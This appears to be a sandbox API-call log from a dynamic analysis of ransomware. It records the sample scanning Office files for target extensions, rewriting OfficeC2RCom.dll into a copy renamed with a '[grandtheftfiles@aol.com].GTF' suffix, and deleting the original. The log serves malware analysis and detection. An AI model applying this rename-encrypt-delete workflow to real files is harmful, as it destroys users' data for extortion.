	[0087.866] lstrlenW (lpString=".rar") returned 4
	[0087.866] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0087.866] lstrlenW (lpString=".bz2") returned 4
	[0087.866] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0087.866] lstrlenW (lpString=".7z") returned 3
	[0087.866] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0087.866] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe") returned 78
	[0087.866] lstrlenW (lpString=".dbf") returned 4
	[0087.866] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0087.866] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe") returned 78
	[0087.866] lstrlenW (lpString=".1cd") returned 4
	[0087.866] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0087.866] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe") returned 78
	[0087.866] lstrlenW (lpString=".jpg") returned 4
	[0087.866] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0087.867] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe") returned 78
	[0087.867] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe") returned 78
	[0087.867] lstrlenW (lpString=".doc") returned 4
	[0087.867] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0087.867] lstrlenW (lpString=".docx") returned 5
	[0087.867] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1
	[0087.867] lstrlenW (lpString=".pdf") returned 4
	[0087.867] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0087.867] lstrlenW (lpString=".xls") returned 4
	[0087.867] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0087.867] lstrlenW (lpString=".xlsx") returned 5
	[0087.867] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1
	[0087.867] lstrlenW (lpString=".ppt") returned 4
	[0087.867] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0087.867] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe") returned 78
	[0087.867] lstrlenW (lpString=".zip") returned 4
	[0087.867] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0087.867] lstrlenW (lpString=".rar") returned 4
	[0087.867] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0087.867] lstrlenW (lpString=".bz2") returned 4
	[0087.867] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0087.867] lstrlenW (lpString=".7z") returned 3
	[0087.867] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0087.867] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe") returned 78
	[0087.867] lstrlenW (lpString=".dbf") returned 4
	[0087.867] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0087.867] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe") returned 78
	[0087.867] lstrlenW (lpString=".1cd") returned 4
	[0087.867] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0087.867] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe") returned 78
	[0087.867] lstrlenW (lpString=".jpg") returned 4
	[0087.867] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0087.868] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0087.868] lstrlenW (lpString="OfficeC2RCom.dll") returned 16
	[0087.868] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rcom.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0087.868] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x379ff14 | out: lpFileSize=0x379ff14*=996568) returned 1
	[0087.868] CloseHandle (hObject=0x398) returned 1
	[0087.868] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rcom.dll")) returned 0x20
	[0087.868] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rcom.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0087.868] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rcom.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0087.868] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.868] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.868] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rcom.dll.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0087.871] GetLastError () returned 0x0
	[0087.871] ReadFile (in: hFile=0x398, lpBuffer=0x3c4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesRead=0x379fecc*=0xf34d8, lpOverlapped=0x0) returned 1
	[0088.226] WriteFile (in: hFile=0x37c, lpBuffer=0x3c4a020*, nNumberOfBytesToWrite=0xf34e0, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesWritten=0x379fc94*=0xf34e0, lpOverlapped=0x0) returned 1
	[0088.242] ReadFile (in: hFile=0x398, lpBuffer=0x3c4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesRead=0x379fecc*=0x0, lpOverlapped=0x0) returned 1
	[0088.243] WriteFile (in: hFile=0x37c, lpBuffer=0x3c4a020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesWritten=0x379fc94*=0xf4, lpOverlapped=0x0) returned 1
	[0088.243] SetEndOfFile (hFile=0x37c) returned 1
	[0088.243] CloseHandle (hObject=0x37c) returned 1
	[0088.243] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.243] SetEndOfFile (hFile=0x398) returned 1
	[0088.252] CloseHandle (hObject=0x398) returned 1
	[0088.252] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0088.252] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rcom.dll")) returned 1
	[0088.253] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74
	[0088.253] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74
	[0088.253] lstrlenW (lpString=".doc") returned 4
	[0088.253] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0088.253] lstrlenW (lpString=".docx") returned 5
	[0088.253] lstrcmpiW (lpString1=".docx", lpString2="m.dll") returned -1
	[0088.253] lstrlenW (lpString=".pdf") returned 4
	[0088.253] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0088.253] lstrlenW (lpString=".xls") returned 4
	[0088.253] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0088.253] lstrlenW (lpString=".xlsx") returned 5
	[0088.253] lstrcmpiW (lpString1=".xlsx", lpString2="m.dll") returned -1
	[0088.253] lstrlenW (lpString=".ppt") returned 4
	[0088.253] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0088.253] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74
	[0088.253] lstrlenW (lpString=".zip") returned 4
	[0088.253] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0088.253] lstrlenW (lpString=".rar") returned 4
	[0088.253] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0088.253] lstrlenW (lpString=".bz2") returned 4
	[0088.253] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0088.253] lstrlenW (lpString=".7z") returned 3
	[0088.253] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0088.253] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74
	[0088.253] lstrlenW (lpString=".dbf") returned 4
	[0088.253] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0088.253] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74
	[0088.253] lstrlenW (lpString=".1cd") returned 4
	[0088.253] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0088.253] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74
	[0088.253] lstrlenW (lpString=".jpg") returned 4
	[0088.253] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0088.254] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74
	[0088.254] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74
	[0088.254] lstrlenW (lpString=".doc") returned 4
	[0088.254] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0088.254] lstrlenW (lpString=".docx") returned 5
	[0088.254] lstrcmpiW (lpString1=".docx", lpString2="m.dll") returned -1
	[0088.254] lstrlenW (lpString=".pdf") returned 4
	[0088.254] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0088.254] lstrlenW (lpString=".xls") returned 4
	[0088.254] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0088.254] lstrlenW (lpString=".xlsx") returned 5
	[0088.254] lstrcmpiW (lpString1=".xlsx", lpString2="m.dll") returned -1
	[0088.254] lstrlenW (lpString=".ppt") returned 4
	[0088.254] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0088.254] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74
	[0088.254] lstrlenW (lpString=".zip") returned 4
	[0088.254] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0088.254] lstrlenW (lpString=".rar") returned 4
	[0088.254] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0088.254] lstrlenW (lpString=".bz2") returned 4
	[0088.254] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0088.254] lstrlenW (lpString=".7z") returned 3
	[0088.254] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0088.254] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74
	[0088.254] lstrlenW (lpString=".dbf") returned 4
	[0088.254] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0088.254] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74
	[0088.254] lstrlenW (lpString=".1cd") returned 4
	[0088.254] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0088.254] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74
	[0088.254] lstrlenW (lpString=".jpg") returned 4
	[0088.254] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0088.255] lstrcmpiW (lpString1=".mui", lpString2=".GTF") returned 1
	[0088.255] lstrlenW (lpString="tipresx.dll.mui") returned 15
	[0088.255] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0088.255] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x379ff14 | out: lpFileSize=0x379ff14*=10752) returned 1
	[0088.255] CloseHandle (hObject=0x398) returned 1
	[0088.255] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\tipresx.dll.mui")) returned 0x20
	[0088.255] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\tipresx.dll.mui.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0088.255] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0088.255] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui") returned 72
	[0088.255] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui") returned 72
	[0088.255] lstrlenW (lpString=".doc") returned 4
	[0088.255] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0088.255] lstrlenW (lpString=".docx") returned 5
	[0088.255] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0088.256] lstrlenW (lpString=".pdf") returned 4
	[0088.256] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0088.256] lstrlenW (lpString=".xls") returned 4
	[0088.256] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0088.256] lstrlenW (lpString=".xlsx") returned 5
	[0088.256] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0088.256] lstrlenW (lpString=".ppt") returned 4
	[0088.256] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0088.256] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui") returned 72
	[0088.256] lstrlenW (lpString=".zip") returned 4
	[0088.256] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0088.256] lstrlenW (lpString=".rar") returned 4
	[0088.256] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0088.256] lstrlenW (lpString=".bz2") returned 4
	[0088.256] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0088.256] lstrlenW (lpString=".7z") returned 3
	[0088.256] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0088.256] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui") returned 72
	[0088.256] lstrlenW (lpString=".dbf") returned 4
	[0088.256] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0088.256] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui") returned 72
	[0088.256] lstrlenW (lpString=".1cd") returned 4
	[0088.256] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0088.256] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui") returned 72
	[0088.256] lstrlenW (lpString=".jpg") returned 4
	[0088.256] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0088.256] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui") returned 72
	[0088.256] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui") returned 72
	[0088.256] lstrlenW (lpString=".doc") returned 4
	[0088.256] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0088.256] lstrlenW (lpString=".docx") returned 5
	[0088.256] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0088.256] lstrlenW (lpString=".pdf") returned 4
	[0088.256] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0088.256] lstrlenW (lpString=".xls") returned 4
	[0088.256] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0088.257] lstrlenW (lpString=".xlsx") returned 5
	[0088.257] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0088.257] lstrlenW (lpString=".ppt") returned 4
	[0088.257] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0088.257] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui") returned 72
	[0088.257] lstrlenW (lpString=".zip") returned 4
	[0088.257] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0088.257] lstrlenW (lpString=".rar") returned 4
	[0088.257] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0088.257] lstrlenW (lpString=".bz2") returned 4
	[0088.257] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0088.257] lstrlenW (lpString=".7z") returned 3
	[0088.257] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0088.257] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui") returned 72
	[0088.257] lstrlenW (lpString=".dbf") returned 4
	[0088.257] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0088.257] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui") returned 72
	[0088.257] lstrlenW (lpString=".1cd") returned 4
	[0088.257] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0088.257] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui") returned 72
	[0088.257] lstrlenW (lpString=".jpg") returned 4
	[0088.257] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0088.257] lstrcmpiW (lpString1=".mui", lpString2=".GTF") returned 1
	[0088.257] lstrlenW (lpString="tipresx.dll.mui") returned 15
	[0088.257] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-gb\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0088.380] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x379ff14 | out: lpFileSize=0x379ff14*=9728) returned 1
	[0088.380] CloseHandle (hObject=0x378) returned 1
	[0088.380] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-gb\\tipresx.dll.mui")) returned 0x20
	[0088.380] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-gb\\tipresx.dll.mui.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0088.380] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-gb\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0088.380] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui") returned 72
	[0088.380] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui") returned 72
	[0088.380] lstrlenW (lpString=".doc") returned 4
	[0088.380] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0088.380] lstrlenW (lpString=".docx") returned 5
	[0088.380] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0088.381] lstrlenW (lpString=".pdf") returned 4
	[0088.381] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0088.381] lstrlenW (lpString=".xls") returned 4
	[0088.381] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0088.381] lstrlenW (lpString=".xlsx") returned 5
	[0088.381] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0088.381] lstrlenW (lpString=".ppt") returned 4
	[0088.381] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0088.381] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui") returned 72
	[0088.381] lstrlenW (lpString=".zip") returned 4
	[0088.381] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0088.381] lstrlenW (lpString=".rar") returned 4
	[0088.381] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0088.381] lstrlenW (lpString=".bz2") returned 4
	[0088.381] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0088.381] lstrlenW (lpString=".7z") returned 3
	[0088.381] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0088.381] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui") returned 72
	[0088.381] lstrlenW (lpString=".dbf") returned 4
	[0088.381] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0088.381] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui") returned 72
	[0088.381] lstrlenW (lpString=".1cd") returned 4
	[0088.381] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0088.381] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui") returned 72
	[0088.381] lstrlenW (lpString=".jpg") returned 4
	[0088.381] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0088.381] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui") returned 72
	[0088.381] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui") returned 72
	[0088.381] lstrlenW (lpString=".doc") returned 4
	[0088.381] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0088.381] lstrlenW (lpString=".docx") returned 5
	[0088.381] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0088.381] lstrlenW (lpString=".pdf") returned 4
	[0088.381] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0088.381] lstrlenW (lpString=".xls") returned 4
	[0088.381] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0088.382] lstrlenW (lpString=".xlsx") returned 5
	[0088.382] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0088.382] lstrlenW (lpString=".ppt") returned 4
	[0088.382] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0088.382] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui") returned 72
	[0088.382] lstrlenW (lpString=".zip") returned 4
	[0088.382] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0088.382] lstrlenW (lpString=".rar") returned 4
	[0088.382] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0088.382] lstrlenW (lpString=".bz2") returned 4
	[0088.382] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0088.382] lstrlenW (lpString=".7z") returned 3
	[0088.382] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0088.382] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui") returned 72
	[0088.382] lstrlenW (lpString=".dbf") returned 4
	[0088.382] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0088.382] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui") returned 72
	[0088.382] lstrlenW (lpString=".1cd") returned 4
	[0088.382] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0088.382] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui") returned 72
	[0088.382] lstrlenW (lpString=".jpg") returned 4
	[0088.382] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0088.382] lstrcmpiW (lpString1=".mui", lpString2=".GTF") returned 1
	[0088.382] lstrlenW (lpString="tabskb.dll.mui") returned 14
	[0088.382] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tabskb.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tabskb.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0088.383] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x379ff14 | out: lpFileSize=0x379ff14*=5120) returned 1
	[0088.383] CloseHandle (hObject=0x378) returned 1
	[0088.383] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tabskb.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tabskb.dll.mui")) returned 0x20
	[0088.383] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tabskb.dll.mui.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tabskb.dll.mui.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0088.383] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tabskb.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tabskb.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0088.383] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tabskb.dll.mui") returned 71
	[0088.384] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tabskb.dll.mui") returned 71
	[0088.384] lstrlenW (lpString=".doc") returned 4
	[0088.384] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0088.384] lstrlenW (lpString=".docx") returned 5
	[0088.384] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0088.384] lstrlenW (lpString=".pdf") returned 4
	[0088.384] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0088.384] lstrlenW (lpString=".xls") returned 4
	[0088.384] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
